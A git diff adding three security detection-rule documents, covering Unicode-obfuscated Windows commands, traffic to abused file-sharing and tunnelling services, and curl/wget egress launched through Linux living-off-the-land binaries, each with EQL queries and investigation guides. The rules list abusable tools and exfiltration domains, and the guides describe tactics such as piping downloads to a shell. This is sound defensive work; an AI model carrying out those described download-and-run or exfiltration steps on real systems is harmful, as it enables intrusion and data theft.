diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters.asciidoc
new file mode 100644
index 0000000000..20062feb03
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters.asciidoc
@@ -0,0 +1,129 @@
+[[prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters]]
+=== Command Obfuscation via Unicode Modifier Letters
+
+Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* endgame-*
+* logs-crowdstrike.fdr*
+* logs-endpoint.events.process-*
+* logs-m365_defender.event-*
+* logs-sentinel_one_cloud_funnel.*
+* logs-system.security*
+* logs-windows.forwarded*
+* logs-windows.sysmon_operational-*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Data Source: Elastic Endgame
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Data Source: Windows Security Event Logs
+* Data Source: Microsoft Defender for Endpoint
+* Data Source: Sysmon
+* Data Source: SentinelOne
+* Data Source: Crowdstrike
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Command Obfuscation via Unicode Modifier Letters*
+
+
+Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections.
+
+
+*Possible investigation steps*
+
+
+- Review the process execution details (command_line, parent, code signature, hash).
+- Analyze the full execution process tree to identify the root cause.
+- Check the creation of any persistence using scheduled tasks, Run key, services, shortcuts or startup folders.
+- Cross-reference with other logs or alerts to identify any related incidents or patterns of activity that might indicate a larger threat campaign.
+
+
+*False positive analysis*
+
+
+- Legitimate internationalized applications and installers use Unicode (e.g., localized product names, non-Latin scripts).
+- Dev tools or fonts may create commands with combining marks (rare) — check installer/tool provenance.
+- Command lines that include user input, file names, or paths with non-ASCII characters (e.g., user folders) can trigger the rule.
+
+
+*Response and remediation*
+
+
+- Isolate the host if there are signs of active compromise (outbound C2, credential theft, lateral movement).
+- Terminate the suspicious process and any direct descendants after collecting forensic evidence (memory, artifacts).
+- Collect EDR snapshots, full disk image or targeted file copies, registry hives, and network logs for investigation.
+- Remove any persistence entries (scheduled task, startup, services) tied to the activity.
+- Qurantine and submit samples to malware analysis; if confirmed malicious, remove and restore from known good backups.
+- Block and update indicators related to this activity (hashes, exact normalized command patterns, codepoint sequences, IPs/domains).
+- Run global hutning queries for same Unicode patterns, normalized variants, and identical parent/child process chains.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+process where host.os.type == "windows" and event.type == "start" and
+ (
+   process.name : ("reg.exe", "net.exe", "net1.exe", "certutil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump.exe", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe") or
+   ?process.pe.original_file_name in ("reg.exe", "net.exe", "net1.exe", "CertUtil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EX", "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump", "ntdsutil.exe", "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe")
+ ) and
+ process.command_line regex """.*[ʰ-˿ᴬ-ᶻ]+.*"""
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Obfuscated Files or Information
+** ID: T1027
+** Reference URL: https://attack.mitre.org/techniques/T1027/
+* Sub-technique:
+** Name: Command Obfuscation
+** ID: T1027.010
+** Reference URL: https://attack.mitre.org/techniques/T1027/010/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services.asciidoc
new file mode 100644
index 0000000000..e1086cea63
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services.asciidoc
@@ -0,0 +1,341 @@
+[[prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services]]
+=== Connection to Commonly Abused Web Services
+
+Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network-*
+* logs-sentinel_one_cloud_funnel.*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.elastic.co/security-labs/operation-bleeding-bear
+* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Command and Control
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Data Source: SentinelOne
+
+*Version*: 123
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Connection to Commonly Abused Web Services*
+
+
+Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.
+
+This rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control.
+
+> **Note**:
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+
+
+*Possible investigation steps*
+
+
+- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+  - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}}
+  - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}}
+- Verify whether the digital signature exists in the executable.
+- Identify the operation type (upload, download, tunneling, etc.).
+- Examine the host for derived artifacts that indicate suspicious activities:
+  - Analyze the process executable using a private sandboxed analysis system.
+  - Observe and collect information about the following activities in both the sandbox and the alert subject host:
+    - Attempts to contact external domains and addresses.
+      - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`.
+        - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}}
+      - Examine the DNS cache for suspicious or anomalous entries.
+        - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}}
+    - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree.
+    - Examine the host services for suspicious or anomalous entries.
+      - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}}
+      - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}}
+      - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}}
+  - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.
+
+
+*False positive analysis*
+
+
+- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the involved host to prevent further post-compromise behavior.
+- If the triage identified malware, search the environment for additional compromised hosts.
+  - Implement temporary network rules, procedures, and segmentation to contain the malware.
+  - Stop suspicious processes.
+  - Immediately block the identified indicators of compromise (IoCs).
+  - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system.
+- Remove and block malicious artifacts identified during triage.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+network where host.os.type == "windows" and
+    dns.question.name != null and process.name != null and
+    not (?user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") or user.domain == "NT AUTHORITY") and
+    /* Add new WebSvc domains here */
+    dns.question.name :
+       (
+        "raw.githubusercontent.*",
+        "pastebin.*",
+        "paste4btc.com",
+        "paste.ee",
+        "ghostbin.com",
+        "drive.google.com",
+        "?.docs.live.net",
+        "api.dropboxapi.*",
+        "content.dropboxapi.*",
+        "dl.dropboxusercontent.*",
+        "api.onedrive.com",
+        "*.onedrive.org",
+        "onedrive.live.com",
+        "filebin.net",
+        "*.ngrok.io",
+        "ngrok.com",
+        "*.portmap.*",
+        "*serveo.net",
+        "*localtunnel.me",
+        "*pagekite.me",
+        "*localxpose.io",
+        "*notabug.org",
+        "rawcdn.githack.*",
+        "paste.nrecom.net",
+        "zerobin.net",
+        "controlc.com",
+        "requestbin.net",
+        "slack.com",
+        "api.slack.com",
+        "slack-redir.net",
+        "slack-files.com",
+        "cdn.discordapp.com",
+        "discordapp.com",
+        "discord.com",
+        "apis.azureedge.net",
+        "cdn.sql.gg",
+        "?.top4top.io",
+        "top4top.io",
+        "www.uplooder.net",
+        "*.cdnmegafiles.com",
+        "transfer.sh",
+        "gofile.io",
+        "updates.peer2profit.com",
+        "api.telegram.org",
+        "t.me",
+        "meacz.gq",
+        "rwrd.org",
+        "*.publicvm.com",
+        "*.blogspot.com",
+        "api.mylnikov.org",
+        "file.io",
+        "stackoverflow.com",
+        "*files.1drv.com",
+        "api.anonfile.com",
+        "*hosting-profi.de",
+        "ipbase.com",
+        "ipfs.io",
+        "*up.freeo*.space",
+        "api.mylnikov.org",
+        "script.google.com",
+        "script.googleusercontent.com",
+        "api.notion.com",
+        "graph.microsoft.com",
+        "*.sharepoint.com",
+        "mbasic.facebook.com",
+        "login.live.com",
+        "api.gofile.io",
+        "api.anonfiles.com",
+        "api.notion.com",
+        "api.trello.com",
+        "gist.githubusercontent.com",
+        "files.pythonhosted.org",
+        "g.live.com",
+        "*.zulipchat.com",
+        "webhook.site",
+        "run.mocky.io",
+        "mockbin.org", 
+        "www.googleapis.com", 
+        "googleapis.com",
+        "global.rel.tunnels.api.visualstudio.com",
+        "*.devtunnels.ms", 
+        "api.github.com") and
+        
+    /* Insert noisy false positives here */
+    not (
+      (
+        process.executable : (
+          "?:\\Program Files\\*.exe",
+          "?:\\Program Files (x86)\\*.exe",
+          "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe",
+          "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe",
+          "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+          "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe",
+          "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe",
+          "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe",
+          "?:\\Users\\*\\AppData\\Local\\PowerToys\\PowerToys.exe",
+          "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe",
+          "?:\\Users\\*\\AppData\\Local\\Zen Browser\\zen.exe",
+          "?:\\Users\\*\\Wavesor Software\\WaveBrowser\\wavebrowser.exe",
+          "?:\\Windows\\System32\\MicrosoftEdgeCP.exe",
+          "?:\\Windows\\system32\\mobsync.exe",
+          "?:\\Windows\\SysWOW64\\mobsync.exe", 
+          "?:\\Windows\\system32\\svchost.exe",
+          "?:\\Windows\\System32\\smartscreen.exe",
+          "?:\\Windows\\System32\\wsl.exe", 
+          "?:\\Windows\\System32\\WWAHost.exe"
+        )
+      ) or
+    
+      /* Discord App */
+      (process.name : "Discord.exe" and (process.code_signature.subject_name : "Discord Inc." and
+       process.code_signature.trusted == true) and dns.question.name : ("discord.com", "cdn.discordapp.com", "discordapp.com")
+      ) or 
+
+      /* MS Sharepoint / OneDrive */
+      (process.name : ("Microsoft.SharePoint.exe", "OneDrive.Sync.Service.exe") and dns.question.name : "onedrive.live.com" and
+       (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true)
+      ) or 
+
+      /* Obsidian - Plugins are stored on raw.githubusercontent.com */
+      (process.name : "Obsidian.exe" and (process.code_signature.subject_name : "Dynalist Inc" and
+       process.code_signature.trusted == true) and dns.question.name : "raw.githubusercontent.com"
+      ) or 
+
+      /* WebExperienceHostApp */
+      (process.name : "WebExperienceHostApp.exe" and (process.code_signature.subject_name : "Microsoft Windows" and
+       process.code_signature.trusted == true) and dns.question.name : ("onedrive.live.com", "skyapi.onedrive.live.com")
+      ) or
+
+      /* IntelliJ IDEA connecting to raw.githubusercontent.com */
+      (process.code_signature.subject_name : "JetBrains s.r.o." and
+       process.code_signature.trusted == true and dns.question.name : ("api.github.com", "raw.githubusercontent.com")
+      ) or 
+
+      (process.code_signature.subject_name : "Microsoft *" and process.code_signature.trusted == true and
+       dns.question.name : ("*.sharepoint.com", "graph.microsoft.com", "g.live.com", "login.live.com")
+      ) or
+
+      (process.code_signature.subject_name : "Python Software Foundation" and process.code_signature.trusted == true and
+       dns.question.name : "files.pythonhosted.org") or 
+
+      /* Zoom */
+      (process.name : "Zoom.exe" and (process.code_signature.subject_name : "Zoom Video Communications, Inc." and
+       process.code_signature.trusted == true) and dns.question.name : ("www.googleapis.com", "graph.microsoft.com")
+      ) or
+
+      /* VSCode */
+      (process.name : "Code.exe" and (process.code_signature.subject_name : "Microsoft Corporation" and
+       process.code_signature.trusted == true) and dns.question.name : ("api.github.com", "raw.githubusercontent.com")
+      ) or
+
+      /* Terraform */
+      (process.name : "terraform-provider*.exe" and (process.code_signature.subject_name : "HashiCorp, Inc." and
+       process.code_signature.trusted == true) and dns.question.name : "graph.microsoft.com"
+      ) or
+
+      (
+        process.code_signature.trusted == true and
+        process.code_signature.subject_name : (
+                              "Johannes Schindelin",
+                              "Redis Inc.",
+                              "Slack Technologies, LLC",
+                              "Cisco Systems, Inc.",
+                              "Dropbox, Inc",
+                              "Amazon.com Services LLC", 
+                              "Island Technology Inc.", 
+                              "GitHub, Inc.", 
+                              "Red Hat, Inc",
+                              "Mozilla Corporation"
+        )
+      )
+    )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Technique:
+** Name: Web Service
+** ID: T1102
+** Reference URL: https://attack.mitre.org/techniques/T1102/
+* Technique:
+** Name: Dynamic Resolution
+** ID: T1568
+** Reference URL: https://attack.mitre.org/techniques/T1568/
+* Sub-technique:
+** Name: Domain Generation Algorithms
+** ID: T1568.002
+** Reference URL: https://attack.mitre.org/techniques/T1568/002/
+* Technique:
+** Name: Proxy
+** ID: T1090
+** Reference URL: https://attack.mitre.org/techniques/T1090/
+* Sub-technique:
+** Name: External Proxy
+** ID: T1090.002
+** Reference URL: https://attack.mitre.org/techniques/T1090/002/
+* Tactic:
+** Name: Exfiltration
+** ID: TA0010
+** Reference URL: https://attack.mitre.org/tactics/TA0010/
+* Technique:
+** Name: Exfiltration Over Web Service
+** ID: T1567
+** Reference URL: https://attack.mitre.org/techniques/T1567/
+* Sub-technique:
+** Name: Exfiltration to Code Repository
+** ID: T1567.001
+** Reference URL: https://attack.mitre.org/techniques/T1567/001/
+* Sub-technique:
+** Name: Exfiltration to Cloud Storage
+** ID: T1567.002
+** Reference URL: https://attack.mitre.org/techniques/T1567/002/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin.asciidoc
new file mode 100644
index 0000000000..4df3343a79
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin.asciidoc
@@ -0,0 +1,214 @@
+[[prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin]]
+=== Curl or Wget Egress Network Connection via LoLBin
+
+This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.process*
+* logs-endpoint.events.network*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://gtfobins.github.io/#+shell
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Tactic: Execution
+* Tactic: Command and Control
+* Tactic: Exfiltration
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Curl or Wget Egress Network Connection via LoLBin*
+
+
+This detects outbound connections from curl or wget when they are launched via living-off-the-land binaries that can execute shell commands, signaling proxy execution to mask activity. It matters because attackers abuse trusted utilities to fetch payloads, stage command-and-control, or exfiltrate while evading simple controls. Example: an attacker uses awk or busybox to run curl to an external host, downloads a script into /tmp, pipes it to sh, or saves a binary and runs it under the proxy’s context.
+
+
+*Possible investigation steps*
+
+
+- Pull the full process tree around the event and review the parent LoLBin’s command line for signs of proxy execution such as pipelines to a shell, write-to-file flags (-o/-O), exfil options (--data/--upload-file), or TLS bypass (-k), noting working directory and effective user for context.
+- Identify any paths or filenames used by the transfer and inspect the filesystem for newly created or modified artifacts in temp locations, recording hashes, timestamps, permission changes (e.g., chmod +x), and any immediate execution or persistence actions.
+- Correlate the outbound destination with threat intelligence and internal allowlists, examine DNS/SNI/certificate details, and flag unusual ports or use of proxies/TOR that suggest evasion.
+- Validate whether the parent LoLBin and its execution path align with legitimate software or maintenance workflows on the host, and broaden the search for similar executions across hosts within the same timeframe.
+- Hunt for follow-on activity including new listeners, reverse shells, additional outbound beacons, or other GTFOBins invoking curl/wget, and tie findings back to the same domains/IPs or dropped filesystem artifacts.
+
+
+*False positive analysis*
+
+
+- During legitimate dependency installation or build workflows, pip/npm/gem/bundler/yarn may run post-install hooks that invoke curl/wget to fetch supplemental files from public mirrors, with the package manager as the parent process.
+- Operations or maintenance tasks may use watch/busybox/run-parts/awk to proxy execution of curl/wget for external availability checks or bootstrap downloads in init scripts, producing short-lived egress that matches the LoLBin-parent pattern.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected Linux host or apply an outbound block, terminate active curl/wget and their invoking LoLBins (e.g., awk, busybox, run-parts), and add temporary firewall/DNS rules to deny the contacted domain/IP and port.
+- Enumerate and delete files fetched via curl/wget (-o/-O) in /tmp, /var/tmp, /dev/shm, and user home (including scripts piped to sh), remove any persistence added (new cron entries, systemd units, rc.local edits), and record hashes/paths for evidence.
+- Rotate credentials or tokens exposed via -u/--header or ~/.netrc, purge malicious proxy settings and config files (http_proxy/https_proxy environment, ~/.wgetrc, ~/.curlrc), and revoke SSH keys or cookies discovered alongside the downloads.
+- Restore the system by reimaging or reinstalling if tampering is suspected, re-enable egress only after validation, verify application functionality, and re-enroll the endpoint with EDR while limiting curl/wget usage to approved service accounts.
+- Escalate to incident response if curl/wget is piped to a shell (e.g., curl https://... | sh), a downloaded binary is made executable and run (chmod +x followed by execution), the destination matches known malicious infrastructure, or torify/torsocks/proxy chaining is used.
+- Harden by mounting /tmp, /var/tmp, and /dev/shm with noexec/nosuid/nodev, enforcing AppArmor/SELinux to restrict curl/wget network access and file writes, constraining GTFOBins from spawning shells, and requiring egress via a proxy allowlist with TLS validation (disallow --insecure/-k).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from Elastic Defend.
+
+
+*Elastic Defend Integration Setup*
+
+Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
+
+
+*Prerequisite Requirements:*
+
+- Fleet is required for Elastic Defend.
+- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation].
+
+
+*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:*
+
+- Go to the Kibana home page and click "Add integrations".
+- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
+- Click "Add Elastic Defend".
+- Configure the integration name and optionally add a description.
+- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
+- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide].
+- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
+- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
+For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide].
+- Click "Save and Continue".
+- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
+For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence with maxspan=3s
+  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in (
+     "aa-exec", "aoss", "awk", "run-parts", "bundle", "bundler", "busctl", "busybox", "byebug", "c89", "c99", "cabal",
+     "capsh", "cdist", "certbot", "check_by_ssh", "choom", "cobc", "cowsay", "cowthink", "cpio", "cpulimit", "csvtool",
+     "dc", "distcc", "easy_install", "emacs", "enscript", "expect", "find", "flock", "gawk", "gcc", "gdb", "gem",
+     "genie", "ghc", "ghci", "gimp", "grc", "gtester", "ionice", "irb", "jjs", "jrunscript", "knife", "latex",
+     "latexmk", "lftp", "logsave", "ltrace", "mail", "mawk", "msgfilter", "multitime", "mysql", "nawk", "neofetch",
+     "nice", "nohup", "npm", "nroff", "nsenter", "octave", "openvpn", "pandoc", "pdb", "pdflatex", "pdftex", "perf",
+     "pexec", "pip", "rake", "rc", "rlwrap", "rpmdb", "rpmquery", "rpmverify", "rsync", "rtorrent", "runscript",
+     "rview", "rvim", "script", "scrot", "sed", "service", "setarch", "setlock", "sg", "socat", "softlimit", "split",
+     "sqlite3", "sqlmap", "sshpass", "start-stop-daemon", "stdbuf", "tar", "taskset",
+     "tasksh", "tex", "time", "tmate", "torify", "torsocks", "tshark", "valgrind", "vi", "view",
+     "vim", "vimdiff", "watch", "xdg-user-dir", "xdotool", "xelatex", "xetex", "yarn", "zip", "zypper"
+   ) and not (
+     process.executable == "/tmp/newroot/unshare" or
+     process.parent.args in (
+       "/etc/.agent/server_agent.sh", "/nessus/update2.sh", "/etc/cron.daily/spamassassin", "/etc/cron.daily/rkhunter",
+       "buildkit-runc", "/usr/sbin/spamassassin-maint"
+     ) or
+     process.parent.executable like (
+       "/usr/local/bin/fail2ban_cluster.sh", "/script/downloadArtifacts.sh", "/etc/cron.daily/rkhunter",
+       "/usr/bin/bbb-conf", "/usr/sbin/sos", "/usr/bin/make", "/var/lib/amagent/*", "/etc/cron.daily/spamassassin",
+       "/usr/lib/cron/run-crons", "/usr/sbin/spamassassin-maint", "/usr/sbin/oracle-libs-update"
+     ) or
+     process.parent.name in ("rkhunter", "vivaldi-stable.postinst", "runc") or
+     process.parent.command_line == "runc init" or
+     process.parent.command_line like "/home/*/bin/DownloadExchangeFiles_mcx*" or
+     process.command_line in (
+       "nice -10 /opt/aws/discovery/update", "xargs -n 1 curl -o lpsc -L", "/usr/bin/ruby /usr/bin/rake run:server_hooks",
+       "nohup ./update2.sh"
+     ) or
+     process.parent.command_line in ("/bin/sh -c nice -n 15 $HOME/bin/cron.pl > /dev/null 2>&1", "/bin/sh /etc/cron.daily/rkhunter") or
+     process.command_line like ("*/home/linuxbrew/.linuxbrew/*", "*Homebrew*", "*webhook*") or
+     process.args like ("/usr/lib/jvm/*", "/root/.forge/provision-*.sh", "/usr/src/ucrm/scripts/update-certificates.sh", "/etc/periodic/weekly/update_mmdb.sh") or
+     (process.name == "nohup" and process.command_line like "nohup /usr/*/*.sh") or
+     (process.name == "julia" and process.parent.name == "julia")
+   )
+  ] by process.entity_id
+  [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and
+   process.name in ("wget", "curl") and not (
+     destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
+       destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
+       "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
+       "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
+       "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
+       "FF00::/8"
+     )
+   )
+  ] by process.parent.entity_id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: System Binary Proxy Execution
+** ID: T1218
+** Reference URL: https://attack.mitre.org/techniques/T1218/
+* Tactic:
+** Name: Execution
+** ID: TA0002
